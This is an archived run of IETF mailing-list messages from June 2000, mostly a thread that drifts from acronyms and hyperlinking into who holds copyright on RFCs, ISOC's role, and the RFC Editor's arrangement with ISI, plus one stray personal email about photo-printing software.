Date: Tue, 6 Jun 2000 12:01:42 -0500 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2448.0)
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by ietf.org id NAA14761
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 8bit

Hi,
Just a comment about Salva's suggestion about the type of document/e-mail
he'd prefer about the abundance of hyperlinks in the text. Actually, I have
come across a web-site called Flyswatter.com which does (I believe) quite
what he suggests. I have seen Flyswatter integrated into the Neoplanet
browser and when a document is brought up on the browser, Flyswatter peppers
the document with lots of hyperlinks to more details of various words in the
document. Of course, it is mainly used for non-technical documents and so
may not have definitions of words used in the IETF community.
Just a thought!

-Srinivas

-----Original Message-----
From: EXT Salvador Vidal [mailto:svidal@lander.es]
Sent: Tuesday, June 06, 2000 11:38 AM
To: salavat
Cc: ietf@ietf.org
Subject: Re: Acronims' ambiquity


Hello,

At 12:05 01/06/00 +0100, Salavat R. Magazov wrote:
>Hello
>
>I am a bit confused by the acronims used in IETF drafts, e.g. in >some
places...

IETF works and discussions formats are very important not only because the
task but also because it can serves as guide to other technicals
discusions, so they can adapt IETF way to their fields.

So just as an example I write what format I like:
I want hypertext anywhere, by anywhere I mean anywhere, not only where the
author puts it, but in any single word, picture ... and in any draft,
e-mail or whatever.
More, I want oriented (multiple) hiperlinks, sometimes you click in an idea
because you don´t understand it asking for an explanation, others you want
to get deep in this idea asking for more arguments or examples about it,
others you are esceptical and you want critics about it ..., so perhaps
someone will foresee a kind of metahiperlink as way to explain why I click
there and drive me to the apropiate hiperlink, with this I will have
sensitive case hiperlinks to:

-The hiperlink that the author creates, as usual.

-A link to a search engine with word wich I click and the context of this
word as arguments.

-Links created by other people (not the author) to their interpretations,
critize.. of the work, scientific spirit not only acept critics but impulse
them, I think that an author that acept that others put links in his work
probes his scientific spirit, but one thing is impulse critics and other to
see your work full of links to porn sites, so I think that the owner of the
information has the right to stop abuse of this, the information owner not
necesary means the author, i.e.: I think that the works and discusions at
IETF are property of IETF, so must follow the rules of IEFT, I mean the
rules that IEFT people want to follow not what the IEFT liders say but this
other history...

-A link to my local dictionary, of course I need them to complete my
diccionary with the IEFT one, I think IEFT dictionary is a group work so
people must introduce the new words on it when they create them, but this
need a moderator that say: Hey Salva diccionary is not a new word, Helsinky
is not a new city,..., please learn orthography before new words
introduction!. 

-...

Best Regards,
Salva

>Regards
>Salavat R. Magazov



From owner-ietf-outbound  Tue Jun  6 13:40:55 2000
Received: by ietf.org (8.9.1a/8.9.1a) id NAA15404
	for ietf-outbound.10@ietf.org; Tue, 6 Jun 2000 13:40:02 -0400 (EDT)
Received: from ljcqs016.cnf.com (egate1.cnf.com [205.185.108.239])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA15325
	for <ietf@ietf.org>; Tue, 6 Jun 2000 13:33:31 -0400 (EDT)
Received: from mwabs030.emeryworld.com (localhost [127.0.0.1])
	by ljcqs016.cnf.com (8.9.3/8.9.3) with ESMTP id KAA04514
	for <ietf@ietf.org>; Tue, 6 Jun 2000 10:33:04 -0700 (PDT)
Received: by mwabs030.emeryworld.com with Internet Mail Service (5.5.2650.21)
	id <MK5VTFZW>; Tue, 6 Jun 2000 17:32:42 -0000
Message-ID: <C7091526C06AD211A7450004AC384A350C35D24D@mwabs035.emeryworld.com>
From: "Dawson, Peter D" <Dawson.Peter@emeryworld.com>
To: ietf@ietf.org
Subject: RE: Acronims' ambiquity
Date: Tue, 6 Jun 2000 17:32:31 -0000 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="iso-8859-1"
X-Loop: ietf@ietf.org


->-----Original Message-----
->From: Salvador Vidal [mailto:svidal@lander.es]
->Sent: Tuesday, June 06, 2000 12:38 PM
->To: salavat
->Cc: ietf@ietf.org
->Subject: Re: Acronims' ambiquity
->

->the owner of the
->information has the right to stop abuse of this, the 
->information owner not
->necesary means the author, i.e.: I think that the works and 
->discusions at
->IETF are property of IETF, so must follow the rules of IEFT, 

the IETF's RFC/BCP's etc etc are the property of ISOC. 

/pd



From owner-ietf-outbound  Tue Jun  6 20:10:34 2000
Received: by ietf.org (8.9.1a/8.9.1a) id UAA20985
	for ietf-outbound.10@ietf.org; Tue, 6 Jun 2000 20:10:02 -0400 (EDT)
Received: from newdev.harvard.edu ([140.247.60.212])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA20944
	for <ietf@ietf.org>; Tue, 6 Jun 2000 20:03:41 -0400 (EDT)
Received: (from sob@localhost)
	by newdev.harvard.edu (8.9.3/8.9.3) id UAA15019
	for ietf@ietf.org; Tue, 6 Jun 2000 20:03:43 -0400 (EDT)
Date: Tue, 6 Jun 2000 20:03:43 -0400 (EDT)
From: Scott Bradner <sob@harvard.edu>
Message-Id: <200006070003.UAA15019@newdev.harvard.edu>
To: ietf@ietf.org
Subject:  RE: Acronims' ambiquity 
X-Loop: ietf@ietf.org


> the IETF's RFC/BCP's etc etc are the property of ISOC.

this is more than a bit simplistic

the ISOC holds a copyright license on RFCs that permit them to be
published and freely copied and, in most cases, the right for derivative
works within the IETF standards process - the authoirs retain all other
rights including the basic copyright

Scott



From owner-ietf-outbound  Wed Jun  7 12:00:23 2000
Received: by ietf.org (8.9.1a/8.9.1a) id MAA14221
	for ietf-outbound.10@ietf.org; Wed, 7 Jun 2000 12:00:02 -0400 (EDT)
Received: from localhost ([168.14.10.242])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA14158
	for <ietf@ietf.org>; Wed, 7 Jun 2000 11:58:33 -0400 (EDT)
Message-Id: <200006071558.LAA14158@ietf.org>
X-Server: eudora pro
X-Sender: jd4978@aol.com
From: John <jd4978@aol.com>
To: ietf@ietf.org
Date: Wed, 07 Jun 2000 11:50:11 -0400
Subject: e-prints
MIME-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 7bit

Hey

Here is the web address of the free software that allows you to print real photos 
from your digital camera.  

http://www.ionphoto.com then click on eprints. 

We are thrilled with the quality. Be sure and try the free testprint.

Sue and I can't wait to show you the pictures from our trip.

See you Sunday

John



From owner-ietf-outbound  Wed Jun  7 13:02:42 2000
Received: by ietf.org (8.9.1a/8.9.1a) id NAA15987
	for ietf-outbound.10@ietf.org; Wed, 7 Jun 2000 13:00:02 -0400 (EDT)
Received: from ljcqs016.cnf.com (egate1.cnf.com [205.185.108.239])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA15790
	for <ietf@ietf.org>; Wed, 7 Jun 2000 12:51:36 -0400 (EDT)
Received: from mwabs030.emeryworld.com (localhost [127.0.0.1])
	by ljcqs016.cnf.com (8.9.3/8.9.3) with ESMTP id JAA00551;
	Wed, 7 Jun 2000 09:51:04 -0700 (PDT)
Received: by mwabs030.emeryworld.com with Internet Mail Service (5.5.2650.21)
	id <MK5VT9Y4>; Wed, 7 Jun 2000 16:50:39 -0000
Message-ID: <C7091526C06AD211A7450004AC384A350C35D255@mwabs035.emeryworld.com>
From: "Dawson, Peter D" <Dawson.Peter@emeryworld.com>
To: ietf@ietf.org
Cc: "'Pete Loshin'" <pete@loshin.com>
Subject: RE: Acronims' ambiquity 
Date: Wed, 7 Jun 2000 16:50:31 -0000 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="iso-8859-1"
X-Loop: ietf@ietf.org

Scott,

->-----Original Message-----
->From: Scott Bradner [mailto:sob@harvard.edu]
->Sent: Tuesday, June 06, 2000 8:04 PM
->To: ietf@ietf.org
->Subject: RE: Acronims' ambiquity 
->
->
->
->> the IETF's RFC/BCP's etc etc are the property of ISOC.
->
->this is more than a bit simplistic
->
->the ISOC holds a copyright license on RFCs that permit them to be
->published and freely copied and, in most cases, the right for 
->derivative
->works within the IETF standards process - the authoirs retain 
->all other
->rights including the basic copyright
->
->Scott
->
This is interesting... a couple of weeks ago
I remember a thread of Pete Loshin's saying 
something about a 10 series release of various RFC's.
does this imply (if I understand you correctly)
that royalty payments (on such publications)
are made to both Authors/ISOC ??

Pete, <or anyone>, clarifications/ comment's please. 

/pd



From owner-ietf-outbound  Wed Jun  7 14:12:20 2000
Received: by ietf.org (8.9.1a/8.9.1a) id OAA17447
	for ietf-outbound.10@ietf.org; Wed, 7 Jun 2000 14:10:02 -0400 (EDT)
Received: from chmls06.mediaone.net (chmls06.mediaone.net [24.128.1.71])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA17329
	for <ietf@ietf.org>; Wed, 7 Jun 2000 14:03:18 -0400 (EDT)
Received: from gateway (h00a0c5e1478f.ne.mediaone.net [24.147.211.223])
	by chmls06.mediaone.net (8.8.7/8.8.7) with SMTP id OAA13296;
	Wed, 7 Jun 2000 14:03:16 -0400 (EDT)
Message-Id: <4.1.20000607125924.040a0f00@pop.ne.mediaone.net>
X-Sender: rapo@mail130.pair.com
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.1 
Date: Wed, 07 Jun 2000 13:59:36 -0400
To: ietf@ietf.org
From: Pete Loshin <pete@loshin.com>
Subject: RE: Acronims' ambiquity 
Cc: "Dawson, Peter D" <Dawson.Peter@emeryworld.com>
In-Reply-To: <C7091526C06AD211A7450004AC384A350C35D255@mwabs035.emerywor
 ld.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Loop: ietf@ietf.org

At 04:50 PM 6/7/00 +0000, Dawson, Peter D wrote:
>->From: Scott Bradner [mailto:sob@harvard.edu]
...
>->the ISOC holds a copyright license on RFCs that permit them to be
>->published and freely copied...

>This is interesting... a couple of weeks ago
>I remember a thread of Pete Loshin's saying 
>something about a 10 series release of various RFC's.
>does this imply (if I understand you correctly)
>that royalty payments (on such publications)
>are made to both Authors/ISOC ??

The short answer is, neither the authors nor ISOC receive royalty payments
(any more than they receive royalties from any of the websites that publish
RFCs).

My understanding of the copyright terms is that they serve a purpose
similar to that of Open Source licenses: the content is "free" and the
copyright language serves to make sure that freedom is retained, no matter
what. Anything less would compromise the openness of the Internet. Allowing
(or even encouraging) publication of RFCs in book form serves (IMO) to make
the RFCs more accessible to more people.

For further clarification of the copyright issues, there are two primary
resources (although I must state up front that I am not a lawyer).

First, the copyright notice included in RFCs. This statement is published
in RFC 2026 (ftp://ftp.isi.edu/in-notes/rfc2026.txt), section 10.4.(C)*,
and is meant to be included with "all ISOC standards-related
documentation." It asserts that ISOC is the copyright holder to the RFC but
that others may publish the RFC without restriction as long as the
copyright notice is included in all copies.

This copyright statement is reproduced both in the text of the Morgan
Kaufmann collections (as part of all the RFCs, which are in turn reproduced
precisely as they appear online) and on the copyright page of the book.

In addition, the publisher asserts its own copyright on the compilation,
which includes (for example) the front matter (preface and introduction)
and the index.

The second item I reference is a note** presumably written by Jon Postel
(it is signed "Jon"--if I'm mistaken, I'd appreciate being corrected) and
published on the ISI/RFC editor site at
http://www.isi.edu/in-notes/rfc-editor/rfc-copyright-story. Basically, it
states that anyone can publish a book of RFCs and copyright that
collection--and that can't stop anyone _else_ from doing the same.

I hope this helps...

-pl



* from RFC 2026:

---begin copyright statement---

 "Copyright (C) The Internet Society (date). All Rights
 Reserved.

 This document and translations of it may be copied and
 furnished to others, and derivative works that comment on or
 otherwise explain it or assist in its implmentation may be
 prepared, copied, published and distributed, in whole or in
 part, without restriction of any kind, provided that the above
 copyright notice and this paragraph are included on all such
 copies and derivative works.  However, this document itself may
 not be modified in any way, such as by removing the copyright
 notice or references to the Internet Society or other Internet
 organizations, except as needed for the  purpose of developing
 Internet standards in which case the procedures for copyrights
 defined in the Internet Standards process must be followed, or
 as required to translate it into languages other than English.

 The limited permissions granted above are perpetual and will
 not be revoked by the Internet Society or its successors or
 assigns.

 This document and the information contained herein is provided
 on an "AS IS" basis and THE INTERNET SOCIETY AND THE INTERNET
 ENGINEERING TASK FORCE DISCLAIMS ALL WARRANTIES, EXPRESS OR
 IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTY THAT THE USE
 OF THE INFORMATION HEREIN WILL NOT INFRINGE ANY RIGHTS OR ANY
 IMPLIED WARRANTIES OF MERCHANTABILITY OR FITNESS FOR A
 PARTICULAR PURPOSE."

---end copyright statement---


** from ISI website:

---begin note---

Hi.

The Request For Comments (RFC) documents are intended to have wide
distribution.

1.  Copying and distributing the whole RFC without any changes:

1a.  The copying and free redistribution are generally encouraged.

1b.  The inclusion of RFCs in other documents and collections that are
distributed for a fee is also encouraged, though in this case it is a
courtesy (i) to ask the RFC author and (ii) provide the RFC author
with a copy of the final document or collection.  Anyone can takes
some RFCs, put them in a book, copyright the book, and sell it.  This
in no way inhibits anyone else from doing the same thing, or inhibits
any other distribution of the RFCs.

2.  Copying and distributing the whole RFC with changes in format,
font, etcetera:

2a.  The same as case 1 with the addition that a note should be made
of the reformatting.

3.  Copying and distributing portions of an RFC:

3a.  As with any material excerpted from another source, proper credit
and citations must be provided.

4.  Translating RFCs into other languages:

4a.  Since wide distribution of RFCs is very desirable, translation
into other languages is also desirable.  The same requirements and
courtesies should be followed in distributing RFCs in translation as
would be followed when distributing RFCs in the original language.


--jon.

---end note---

+-------------------------------------------------------------+
| Pete Loshin             http://www.loshin.com               |
| Internet-Standard.com   http://Internet-Standard.com        |
| The RFC Books Series    http://www.loshin.com/bigbooks.html |
| The Linux Project       http://www.thelinuxproject.com      |
+-------------------------------------------------------------+



From owner-ietf-outbound  Wed Jun  7 14:21:18 2000
Received: by ietf.org (8.9.1a/8.9.1a) id OAA17589
	for ietf-outbound.10@ietf.org; Wed, 7 Jun 2000 14:20:02 -0400 (EDT)
Received: from ginger.lcs.mit.edu (ginger.lcs.mit.edu [18.26.0.82])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA17367
	for <ietf@ietf.org>; Wed, 7 Jun 2000 14:06:50 -0400 (EDT)
Received: (from jnc@localhost)
	by ginger.lcs.mit.edu (8.9.1/8.9.1) id OAA17645;
	Wed, 7 Jun 2000 14:06:47 -0400
Date: Wed, 7 Jun 2000 14:06:47 -0400
From: "J. Noel Chiappa" <jnc@ginger.lcs.mit.edu>
Message-Id: <200006071806.OAA17645@ginger.lcs.mit.edu>
To: Dawson.Peter@emeryworld.com, ietf@ietf.org
Subject: RE: Acronims' ambiquity
Cc: jnc@ginger.lcs.mit.edu
X-Loop: ietf@ietf.org

    > From: "Dawson, Peter D" <Dawson.Peter@emeryworld.com>

    >> the ISOC holds a copyright license on RFCs that permit them to be
    >> published and freely copied

    > does this imply (if I understand you correctly) that royalty payments
    > (on such publications) are made to both Authors/ISOC ??

Perhaps you overlooked the phrase "freely copied".

	Noel



From owner-ietf-outbound  Wed Jun  7 14:50:13 2000
Received: by ietf.org (8.9.1a/8.9.1a) id OAA18081
	for ietf-outbound.10@ietf.org; Wed, 7 Jun 2000 14:50:03 -0400 (EDT)
Received: from prue.eim.surrey.ac.uk (IDENT:exim@[131.227.76.5])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA18058
	for <ietf@ietf.org>; Wed, 7 Jun 2000 14:49:12 -0400 (EDT)
Received: from petra.ee.surrey.ac.uk ([131.227.88.13] ident=eep1lw)
	by prue.eim.surrey.ac.uk with esmtp (Exim 3.03 #1)
	id 12zkss-0005Dt-00; Wed, 07 Jun 2000 19:48:58 +0100
Date: Wed, 7 Jun 2000 19:48:54 +0100 (BST)
From: Lloyd Wood <l.wood@eim.surrey.ac.uk>
X-Sender: eep1lw@petra.ee.surrey.ac.uk
Reply-To: L.Wood@eim.surrey.ac.uk
To: Pete Loshin <pete@loshin.com>
cc: ietf@ietf.org, "Dawson, Peter D" <Dawson.Peter@emeryworld.com>
Subject: RE: Acronims' ambiquity 
In-Reply-To: <4.1.20000607125924.040a0f00@pop.ne.mediaone.net>
Message-ID: <Pine.GSO.4.21.0006071939540.3889-100000@petra.ee.surrey.ac.uk>
Organization: speaking for none
X-url: http://www.ee.surrey.ac.uk/Personal/L.Wood/
X-no-archive: yes
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Loop: ietf@ietf.org

On Wed, 7 Jun 2000, Pete Loshin wrote:

> At 04:50 PM 6/7/00 +0000, Dawson, Peter D wrote:
> >->From: Scott Bradner [mailto:sob@harvard.edu]
> ...
> >->the ISOC holds a copyright license on RFCs that permit them to be
> >->published and freely copied...

You mean ISOC is the copyright holder, yes? licences are generally
obtained by everyone else bar the holder.


> >This is interesting... a couple of weeks ago
> >I remember a thread of Pete Loshin's saying 
> >something about a 10 series release of various RFC's.
> >does this imply (if I understand you correctly)
> >that royalty payments (on such publications)
> >are made to both Authors/ISOC ??
> 
> The short answer is, neither the authors nor ISOC receive royalty payments
> (any more than they receive royalties from any of the websites that publish
> RFCs).

I find it odd that, although ISOC is the copyright holder of the RFCs
(as 2026 states) the ISOC website isn't publishing its own RFCs,
providing a list of mirrors, or even listing them as publications - at
least I couldn't find anything under
http://www.isoc.org/isoc/publications/

(So I tend to refer to RFCs as IETF RFCs rather than ISOC RFCs - the
 IETF may not be the copyright holder, but at least its website holds
 archival copies, making mentioning the IETF more of a Useful Context
 Clue.)

L.

this probably has something to do with eating your own dogfood.

<L.Wood@surrey.ac.uk>PGP<http://www.ee.surrey.ac.uk/Personal/L.Wood/>



From owner-ietf-outbound  Wed Jun  7 15:40:32 2000
Received: by ietf.org (8.9.1a/8.9.1a) id PAA19045
	for ietf-outbound.10@ietf.org; Wed, 7 Jun 2000 15:40:02 -0400 (EDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA19005
	for <ietf@ietf.org>; Wed, 7 Jun 2000 15:37:41 -0400 (EDT)
Received: from gra.isi.edu (gra.isi.edu [128.9.160.133])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id MAA27770;
	Wed, 7 Jun 2000 12:37:38 -0700 (PDT)
From: Bob Braden <braden@ISI.EDU>
Received: (from braden@localhost)
	by gra.isi.edu (8.8.7/8.8.6) id TAA26141;
	Wed, 7 Jun 2000 19:37:37 GMT
Date: Wed, 7 Jun 2000 19:37:37 GMT
Message-Id: <200006071937.TAA26141@gra.isi.edu>
To: L.Wood@eim.surrey.ac.uk
Subject: RE: Acronims' ambiquity
Cc: ietf@ietf.org
X-Sun-Charset: US-ASCII
X-Loop: ietf@ietf.org

  *> 
  *> I find it odd that, although ISOC is the copyright holder of the RFCs
  *> (as 2026 states) the ISOC website isn't publishing its own RFCs,
  *> providing a list of mirrors, or even listing them as publications - at
  *> least I couldn't find anything under
  *> http://www.isoc.org/isoc/publications/
  *> 
Lloyd,

Does it come as a surprise to you to know that the ISOC has contracted
to the RFC Editor to publish RFCs, etc.?  So, the ISOC *does* "publish
its own RFCs".

Bob Braden



From owner-ietf-outbound  Wed Jun  7 15:50:08 2000
Received: by ietf.org (8.9.1a/8.9.1a) id PAA19276
	for ietf-outbound.10@ietf.org; Wed, 7 Jun 2000 15:50:02 -0400 (EDT)
Received: from chmls06.mediaone.net (chmls06.mediaone.net [24.128.1.71])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA19173
	for <ietf@ietf.org>; Wed, 7 Jun 2000 15:43:38 -0400 (EDT)
Received: from gateway (h00a0c5e1478f.ne.mediaone.net [24.147.211.223])
	by chmls06.mediaone.net (8.8.7/8.8.7) with SMTP id PAA04385;
	Wed, 7 Jun 2000 15:43:38 -0400 (EDT)
Message-Id: <4.1.20000607152117.00c4df00@pop.ne.mediaone.net>
X-Sender: rapo@mail130.pair.com
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.1 
Date: Wed, 07 Jun 2000 15:39:55 -0400
To: ietf@ietf.org
From: Pete Loshin <pete@loshin.com>
Subject: RE: Acronims' ambiquity 
Cc: L.Wood@eim.surrey.ac.uk
In-Reply-To: <Pine.GSO.4.21.0006071939540.3889-100000@petra.ee.surrey.ac
 .uk>
References: <4.1.20000607125924.040a0f00@pop.ne.mediaone.net>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Loop: ietf@ietf.org

At 07:48 PM 6/7/00 +0100, Lloyd Wood wrote:
...
>I find it odd that, although ISOC is the copyright holder of the RFCs
>(as 2026 states) the ISOC website isn't publishing its own RFCs,
>providing a list of mirrors, or even listing them as publications - at
>least I couldn't find anything under
>http://www.isoc.org/isoc/publications/

The IETF, IESG and IAB are all part of ISOC (those organizations variously
described as being "chartered by ISOC" or ISOC as being "the organizational
home" for IETF et al). There is a link to the IETF website on the ISOC home
page, which links in turn to the RFC editor website, and there you can find
the archive (or go directly to www.rfc-editor.org).

>(So I tend to refer to RFCs as IETF RFCs rather than ISOC RFCs - the
> IETF may not be the copyright holder, but at least its website holds
> archival copies, making mentioning the IETF more of a Useful Context
> Clue.)

It's certainly proper to refer to "IETF RFCs" (or at least I hope it is
since that's how I've been referring to them for years). Copyright
ownership does not necessarily reflect authorship: computer book publishers
routinely register copyright in their own, not the author's, name.

-pl


+-------------------------------------------------------------+
| Pete Loshin             http://www.loshin.com               |
| Internet-Standard.com   http://Internet-Standard.com        |
| The RFC Books Series    http://www.loshin.com/bigbooks.html |
| The Linux Project       http://www.thelinuxproject.com      |
+-------------------------------------------------------------+



From owner-ietf-outbound  Wed Jun  7 16:50:42 2000
Received: by ietf.org (8.9.1a/8.9.1a) id QAA20496
	for ietf-outbound.10@ietf.org; Wed, 7 Jun 2000 16:50:02 -0400 (EDT)
Received: from prue.eim.surrey.ac.uk (IDENT:exim@[131.227.76.5])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA20398
	for <ietf@ietf.org>; Wed, 7 Jun 2000 16:46:22 -0400 (EDT)
Received: from petra.ee.surrey.ac.uk ([131.227.88.13] ident=eep1lw)
	by prue.eim.surrey.ac.uk with esmtp (Exim 3.03 #1)
	id 12zmiR-00064h-00; Wed, 07 Jun 2000 21:46:19 +0100
Date: Wed, 7 Jun 2000 21:46:17 +0100 (BST)
From: Lloyd Wood <l.wood@eim.surrey.ac.uk>
X-Sender: eep1lw@petra.ee.surrey.ac.uk
Reply-To: L.Wood@eim.surrey.ac.uk
To: Bob Braden <braden@ISI.EDU>
cc: ietf@ietf.org
Subject: RE: Acronims' ambiquity
In-Reply-To: <200006071937.TAA26141@gra.isi.edu>
Message-ID: <Pine.GSO.4.21.0006072050260.3889-100000@petra.ee.surrey.ac.uk>
Organization: speaking for none
X-url: http://www.ee.surrey.ac.uk/Personal/L.Wood/
X-no-archive: yes
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Loop: ietf@ietf.org

On Wed, 7 Jun 2000, Bob Braden wrote:

>   *> I find it odd that, although ISOC is the copyright holder of the RFCs
>   *> (as 2026 states) the ISOC website isn't publishing its own RFCs,
>   *> providing a list of mirrors, or even listing them as publications - at
>   *> least I couldn't find anything under
>   *> http://www.isoc.org/isoc/publications/
>   *> 
> Lloyd,
> 
> Does it come as a surprise to you to know that the ISOC has contracted
> to the RFC Editor to publish RFCs, etc.?

...and I couldn't find an RFC archive under
http://www.rfc-editor.org/ either, come to think of it.

The links from that website to archives are all to ftp.isi.edu, which
is physically the same class B network at present, but hey, only the
namespace matters; at present (legacy apart) ISI is publishing the
RFCs which ISOC has contracted with the RFC Editor to publish. I must
infer a subcontract from the implicit trust infrastructure...

(Rename the relevant links under http://www.rfc-editor.org/ to use
 ftp.rfc-editor.org instead of ftp.isi.edu, and that
 'RFC editor publishes' argument becomes less quibbly and arguably
 more futureproof.)


>  So, the ISOC *does* "publish its own RFCs".

...twice removed at present. And I _did_ say 'ISOC website'.

L.

'ISOC RFC2026, published by the Information Sciences Institute (ISI) 
 on behalf of the RFC Editor, under nonexclusive open licence from the
 Internet Society (ISOC) as copyright holder.' That should do it.
 I knew my 'References' section needed to be longer.

<L.Wood@surrey.ac.uk>PGP<http://www.ee.surrey.ac.uk/Personal/L.Wood/>




From owner-ietf-outbound  Wed Jun  7 17:30:07 2000
Received: by ietf.org (8.9.1a/8.9.1a) id RAA20926
	for ietf-outbound.10@ietf.org; Wed, 7 Jun 2000 17:30:02 -0400 (EDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA20888
	for <ietf@ietf.org>; Wed, 7 Jun 2000 17:23:35 -0400 (EDT)
Received: from gra.isi.edu (gra.isi.edu [128.9.160.133])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id OAA14141;
	Wed, 7 Jun 2000 14:23:36 -0700 (PDT)
From: Bob Braden <braden@ISI.EDU>
Received: (from braden@localhost)
	by gra.isi.edu (8.8.7/8.8.6) id VAA26224;
	Wed, 7 Jun 2000 21:23:36 GMT
Date: Wed, 7 Jun 2000 21:23:36 GMT
Message-Id: <200006072123.VAA26224@gra.isi.edu>
To: braden@ISI.EDU, L.Wood@eim.surrey.ac.uk
Subject: RE: Acronims' ambiquity
Cc: ietf@ietf.org
X-Sun-Charset: US-ASCII
X-Loop: ietf@ietf.org

  *> 
  *> (Rename the relevant links under http://www.rfc-editor.org/ to use
  *>  ftp.rfc-editor.org instead of ftp.isi.edu, and that
  *>  'RFC editor publishes' argument becomes less quibbly and arguably
  *>  more futureproof.)
  *> 

The RFC Editor agrees with the futureproofing, and the renaming
you suggest has in fact been in progress for some time now.  However,
the RFC Editor cannot soon remove the original names, because lots of
folks have them buried in scripts, and pragmatic continuity is more
valuable to the IETF membership than quibbling.

Bob Braden



From owner-ietf-outbound  Wed Jun  7 17:40:13 2000
Received: by ietf.org (8.9.1a/8.9.1a) id RAA21131
	for ietf-outbound.10@ietf.org; Wed, 7 Jun 2000 17:40:02 -0400 (EDT)
Received: from mail-gw.hursley.ibm.com (mail-gw.hursley.ibm.com [194.196.110.15])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA21091
	for <ietf@ietf.org>; Wed, 7 Jun 2000 17:35:43 -0400 (EDT)
Received: from sp3at21.hursley.ibm.com (sp3at21.hursley.ibm.com [9.20.45.21]) by mail-gw.hursley.ibm.com (AIX4.3/UCB 8.8.8/8.8.8) with ESMTP id WAA76042; Wed, 7 Jun 2000 22:35:13 +0100
Received: from hursley.ibm.com (gsine03.us.sine.ibm.com [9.14.6.43]) by sp3at21.hursley.ibm.com (AIX4.2/UCB 8.7/8.7.3) with ESMTP id WAA15012; Wed, 7 Jun 2000 22:35:11 +0100 (BST)
Message-ID: <393EBFDC.D81FA0D0@hursley.ibm.com>
Date: Wed, 07 Jun 2000 16:34:20 -0500
From: Brian E Carpenter <brian@hursley.ibm.com>
Organization: IBM
X-Mailer: Mozilla 4.61 [en] (Win98; I)
X-Accept-Language: en,fr
MIME-Version: 1.0
To: L.Wood@eim.surrey.ac.uk
CC: Bob Braden <braden@ISI.EDU>, ietf@ietf.org
Subject: Re: Acronims' ambiquity
References: <Pine.GSO.4.21.0006072050260.3889-100000@petra.ee.surrey.ac.uk>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 7bit

Lloyd,

Just to review the actual facts one more time:

The IAB is responsible for the RFC-Editor function under its charter, RFC 2850.

At the IAB's request, the ISOC sub-contracted the RFC-Editor function to ISI.

At the IETF's request (RFC 2026), the ISOC holds copyright on RFCs to protect them
against unauthorized modification. It has to be the ISOC, because the IETF
itself is not incorporated.

Since ISI is the contractor, it is perfectly normal that the archive is
on an ISI server. There are also many mirror sites.

And contrary to what someone else stated, the IETF is not part of the ISOC.
The relationship is described in RFC 2031.

   Brian

Lloyd Wood wrote:
> 
> On Wed, 7 Jun 2000, Bob Braden wrote:
> 
> >   *> I find it odd that, although ISOC is the copyright holder of the RFCs
> >   *> (as 2026 states) the ISOC website isn't publishing its own RFCs,
> >   *> providing a list of mirrors, or even listing them as publications - at
> >   *> least I couldn't find anything under
> >   *> http://www.isoc.org/isoc/publications/
> >   *>
> > Lloyd,
> >
> > Does it come as a surprise to you to know that the ISOC has contracted
> > to the RFC Editor to publish RFCs, etc.?
> 
> ...and I couldn't find an RFC archive under
> http://www.rfc-editor.org/ either, come to think of it.
> 
> The links from that website to archives are all to ftp.isi.edu, which
> is physically the same class B network at present, but hey, only the
> namespace matters; at present (legacy apart) ISI is publishing the
> RFCs which ISOC has contracted with the RFC Editor to publish. I must
> infer a subcontract from the implicit trust infrastructure...
> 
> (Rename the relevant links under http://www.rfc-editor.org/ to use
>  ftp.rfc-editor.org instead of ftp.isi.edu, and that
>  'RFC editor publishes' argument becomes less quibbly and arguably
>  more futureproof.)
> 
> >  So, the ISOC *does* "publish its own RFCs".
> 
> ...twice removed at present. And I _did_ say 'ISOC website'.
> 
> L.
> 
> 'ISOC RFC2026, published by the Information Sciences Institute (ISI)
>  on behalf of the RFC Editor, under nonexclusive open licence from the
>  Internet Society (ISOC) as copyright holder.' That should do it.
>  I knew my 'References' section needed to be longer.
> 
> <L.Wood@surrey.ac.uk>PGP<http://www.ee.surrey.ac.uk/Personal/L.Wood/>



From owner-ietf-outbound  Wed Jun  7 18:20:11 2000
Received: by ietf.org (8.9.1a/8.9.1a) id SAA21611
	for ietf-outbound.10@ietf.org; Wed, 7 Jun 2000 18:20:02 -0400 (EDT)
Received: from gungnir.fnal.gov (gungnir.fnal.gov [131.225.80.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA21553
	for <ietf@ietf.org>; Wed, 7 Jun 2000 18:13:03 -0400 (EDT)
Received: from gungnir.fnal.gov (localhost [127.0.0.1])
